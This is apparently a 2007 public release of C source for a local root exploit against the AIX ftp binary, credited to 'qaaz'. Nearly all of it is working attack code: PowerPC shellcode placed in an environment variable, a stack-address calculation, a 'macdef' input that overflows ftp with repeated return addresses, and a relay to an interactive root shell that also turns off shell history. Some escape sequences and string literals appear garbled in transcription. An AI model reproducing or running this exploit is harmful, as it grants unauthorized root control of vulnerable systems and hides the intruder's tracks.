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aix53-ftp.txt

Posted on 28 July 2007

/* 07/2007: public release
*
* qaaz@aix:~$ ./aix-ftp
* ----------------------------
*  AIX ftp Local Root Exploit
*  By qaaz
* ----------------------------
* bash: no job control in this shell
* bash-3.00#
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>
#include <sys/wait.h>
#include <sys/select.h>

#define TARGET		"/usr/bin/ftp"
#define OVERLEN		300

#define MAX(x,y)	((x) > (y) ? (x) : (y))
#define ALIGN(x, y)	(((x) + (y) - 1) / (y) * (y))

unsigned char qaazcode[] =
"x60x60x60x60x60x60x60x60"
"x7cx63x1ax79x40x82xffxfd"
"x7exa8x02xa6x3axb5x01x01"
"x88x55xffx5bx3axd5xffx1b"
"x7exc8x03xa6x4cxc6x33x42"
"x44xffxffx02x38x75xffx5f"
"x38x63x01x01x88x95xffx5d"
"x38x63x01x02x38x63xfexff"
"x88xa3xfexffx7cx04x28x40"
"x40x82xffxf0x7cxa5x2ax78"
"x98xa3xfexffx88x55xffx5c"
"x38x75xffx5fx38x81xffxf8"
"x90x61xffxf8x90xa1xffxfc"
"x4bxffxffxbdxb8x05x7cxff";

void	shell(int p1[2], int p2[2])
{
ssize_t	n;
fd_set	rset;
char	buf[4096];

for (;;) {
FD_ZERO(&rset);
FD_SET(p1[0], &rset);
FD_SET(p2[0], &rset);

n = select(MAX(p1[0], p2[0]) + 1,
&rset, NULL, NULL, NULL);
if (n < 0) {
perror("[-] select");
break;
}

if (FD_ISSET(p1[0], &rset)) {
n = read(p1[0], buf, sizeof(buf));
if (n <= 0) break;
write(p1[1], buf, n);
}
if (FD_ISSET(p2[0], &rset)) {
n = read(p2[0], buf, sizeof(buf));
if (n <= 0) break;
write(p2[1], buf, n);
}
}
}

/* just because you don't understand it doesn't mean it has to be wrong */
ulong	get_addr(char *argv[], char *envp[], char *args[], char *envs[])
{
ulong	top, len, off;
int	i;

len = 0;
for (i = 0; argv[i]; i++)
len += strlen(argv[i]) + 1;
for (i = 0; envp[i]; i++)
len += strlen(envp[i]) + 1;
top = (ulong) argv[0] + ALIGN(len, 8);

len = off = 0;
for (i = 0; args[i]; i++)
len += strlen(args[i]) + 1;

for (i = 0; envs[i]; i++) {
if (!strncmp(envs[i], "EGG=", 4))
off = len + 4;
len += strlen(envs[i]) + 1;
}
while (off & 3)
strcat(envs[0], "X"), off++, len++;

return top - ALIGN(len, 4) + off;
}

int	main(int argc, char *argv[], char *envp[])
{
char	pad[16] = "PAD=X", egg[512];
char	*args[] = { TARGET, NULL };
char	*envs[] = { pad, egg, NULL };
int	pi[2], po[2], i;
pid_t	child;
ulong	addr;

sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid());

if (!envp[0]) {
setuid(geteuid());
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
execl("/bin/sh", "sh", "-i", NULL);
perror("[-] execl");
exit(1);
}

printf("----------------------------
");
printf(" AIX ftp Local Root Exploit
");
printf(" By qaaz
");
printf("----------------------------
");

if (pipe(pi) < 0 || pipe(po) < 0) {
perror("[-] pipe");
exit(1);
}

addr = get_addr(argv, envp, args, envs);

if ((child = fork()) < 0) {
perror("[-] fork");
exit(1);
}

if (child == 0) {
dup2(pi[0], 0);
dup2(po[1], 1);
dup2(po[1], 2);
execve(TARGET, args, envs);
perror("[-] execve");
exit(1);
}

write(pi[1], "macdef foo

$
foo ab", 20);
for (i = 0; i < OVERLEN; i += sizeof(addr))
write(pi[1], &addr, sizeof(addr));
write(pi[1], "
", 1);

fflush(stdout);
fflush(stderr);

close(pi[0]);
close(po[1]);
shell((int[2]) { 0, pi[1] }, (int[2]) { po[0], 1 });
kill(child, SIGTERM);
waitpid(child, NULL, 0);
return 0;
}

 

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